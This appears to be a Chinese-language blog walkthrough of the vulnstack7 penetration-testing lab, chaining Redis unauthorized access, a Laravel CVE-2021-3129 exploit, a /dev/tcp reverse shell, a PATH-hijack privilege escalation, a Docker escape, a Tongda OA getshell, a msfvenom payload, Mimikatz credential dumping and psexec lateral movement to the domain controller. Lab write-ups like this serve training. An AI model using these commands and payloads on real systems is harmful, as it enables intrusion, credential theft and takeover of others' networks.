不想复习啊,打个vulnstack7放松一下就当我今天学习了吧
环境配置
整个靶场环境一共五个靶机(总共27.8 GB),分别位于三层网络环境中(来自官方文档):
虚拟机搭搭,在Vmware中新增两个虚拟网卡VMnet8
、VMnet14
。VMnet8
设为默认的NAT模式,IP段设为 192.168.52.0/24
;VMnet14
设为仅主机模式,IP段设为192.168.93.0/24
,如下图所示
实测由于NAT模式和52网段是一致的,因此我修改了一下,访问192.168.54.128
就是web1的公网了
配网卡如下:
- 为Web 1配置两张网卡,一张桥接模式(或者nat主机),另一张连
VMnet8
- 为Web 2和PC1配置两张网卡,一张
VMnet8
、另一张VMnet14
- 为DC和PC 2配置一张网卡,为
VMnet14
由于所有靶机都是没有启动服务的,我们需要手动配置一下:
域用户信息
域用户账户和密码如下:
-
Administrator:Whoami2021
-
whoami:Whoami2021
-
bunny:Bunny2021
-
moretz:Moretz2021
-
Ubuntu 1:
- web:web2021
-
Ubuntu 2:
-
ubuntu:ubuntu
-
通达OA账户:
- admin:admin657260
手动登录各台机子后打开服务:
Web 1:
1 | redis-server /etc/redis.conf |
Web 2:
1 | sudo service docker start |
PC 1:
启动通达OA:
1 | C:\MYOA\bin\AutoConfig.exe |
配置完毕后开打。
开打
fscan扫192.168.54.128
:
1 | .\fscan.exe -h 192.168.54.128 |
可以看见开的81、6379都是有漏洞的。
想起laravel的cve可以去看一下今年鹏城杯线上赛的一个ez_laravel
,被折磨的不清,不过这里是cve,我到时候再直接找python脚本跑,这里先利用redis未授权访问
流程:
1 | config set dir /root/.ssh/ |
但是permission denied:
原因是忘记sudo起root权限的redis了,修改后重新写入:
随后ssh root@192.168.54.128
免密登录成功
拿到root权限后通过ifconfig
发现52网段,传fscan对52网段进行扫描:
1 | root@ubuntu:~# ./fscan -h 192.168.52.1-255 |
发现192.168.52.20
(10是本机)
20段发现还是laravel
服务?
查看nginx服务
1 | cd /etc/nginx/conf.d |
可以看到确实有81端口的反代,因此我们实际访问81的端口是192.168.52.20
的8000端口,于是直接打即可。
但是我们先frp打通52网段,走192.168.54.129
的6002端口起socks5即可:
走socks5代理成功访问到52网段
搜cve-2021-3129
的payload:
https://github.com/crisprss/Laravel_CVE-2021-3129_EXP/tree/main
1 | # -*- coding=utf-8 -*- |
都拿下了,如果可以也可以配置proxychains4来打20机,但是会很慢。但是它做了一层反代出去之后我们就可以通过81端口拿下20机laravel服务
我们再写个shell进去:
蚁剑连接
成功拿下,继续查看信息(此时我们其实是对内网的52.20机子进行操作),发现无法进行ipconfig操作。
ls -al /
发现了.dockerenv
文件,说明我们是在一个docker环境里。尝试docker逃逸,但前提是docker逃逸需要root权限,我们得找办法提权:
发现有/home/jobs/shell
文件在,查看还能够得到demo.c:
1 | (www-data:/home/jobs) $ cat demo.c |
这里可以看到是一个执行ps的操作,但是执行的时候是root权限执行的。
利用就参照一下自己的博客:https://err0r233.github.io/posts/13343.html
1 | echo "/bin/bash" > /tmp/ls |
这里的例子是ls,所以我们改成ps即可:
1 | echo "/bin/bash" > /tmp/ps |
注意我们现在的环境变量是php的环境变量,想修改环境变量得反弹一个shell过来:
1 | bash -c 'exec bash -i >& /dev/tcp/192.168.52.10/1337 0>&1' |
为什么要用52.10这台ubuntu机子呢,因为他其实是52.20
,它只通web1
由此可以从web1拿下。然后执行shell:
环境没有python3,就将就一下用这个shell吧。
接下来看是否为特权模式:
1 | cat /proc/1/status | grep Cap |
当执行
cat /proc/1/status | grep Cap
查询对应出来的值为0000003fffffffff
那么就有可能是特权容器,可尝试逃逸
1 | fdisk -l |
还是我们的sda1
1 | Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors |
接下来就是重复vulnstack4的操作,检查发现存在ubuntu用户
然后将我们的key写进去
1 | cp -avx test/home/ubuntu/.ssh/id_rsa.pub test/home/ubuntu/.ssh/authorized_keys # -avx是将权限也一起复制 |
然后我们走proxychains4登入52.20
:
不出意外的肯定是要出意外了,一直登录不进这个机子。那就只能够去爆破/etc/shadow
了:
1 | ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7::: |
其实这个key已经爆破过了,就是ubuntu。
我们直接通过ubuntu/ubuntu
连接即可,登录后sudo -i即可拿下root权限:
接着看:
1 | inet addr:192.168.93.10 |
由于这里我忘记关掉防火墙了,导致30网段的通达OA无法被连上,因此这里重新操作一下,重新fscan的结果:
通达oa啊,直接尝试通达oa的洞:
1 | ''' |
最常见的就是通达oa前台任意登录。这里直接试一下上面的exp就行了,注意这里配置了socks5代理
https://www.freebuf.com/vuls/257154.html
后面getshell的流程试这个:
1 | import requests |
自己写的一个python脚本:
1 | +OK [vm]258@2412_62225625|jpg|0[/vm] |
shell的路径是:
1 | 2412/62225625.jpg |
文件包含:
1 | POST /ispirit/interface/gateway.php HTTP/1.1 |
拿下。接下来尝试弹shell到msf上。这里由于我们写的shell是一个phpshell,我们最好就是直接使用cmd命令行的shell。
这个姿势是我学弟教我的,很强。
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 LHOST=192.168.54.129 -f psh-cmd |
psh-cmd可以生成powshell的命令行,直接在shell里执行即可:
记得使用msf之前先配代理(
先收集一波信息:
1 | load kiwi |
1 | meterpreter > creds_all |
hashdump:
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: |
ipconfig:
1 | Ethernet adapter �������� 4: |
查看域管:
1 | net group "domain admins" /domain |
发现access denied。
其实这里我们已经抓到了域管的账号密码了:Administrator/Whoami2021
先创个msf路由:
1 | route add 192.168.93.0 255.255.255.0 3 |
这里得用meterpreter的进程来添加
udp_probe
1 | use auxiliary/scanner/discovery/udp_probe |
发现93.1、93.20、93.30,其中93.20是自己
尝试psexec:
1 | use exploit/windows/smb/psexec |
这里很怪,93.1是没有445端口的。重启之后又变正常了,ip变回了40。30的psexec打不上去,但是40的可以:
怀疑是防火墙的问题,此处我们要通过PC1 或者 PC2把域控的防火墙给关了,此时我们要从system改为administrator权限,pc2没有可用的进程迁移。
查看pc1的:
1 | Process List |
发现进程1020是administrator的,直接窃取令牌,但是无法创建进程,还是system权限
但是可以直接迁移进程:
1 | migrate 1020 |
这里学习了一手用sc关防火墙:
1 | sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" |
这里的提示虽然都是失败,但其实防火墙已经被关掉了
psexec:
最后拿下。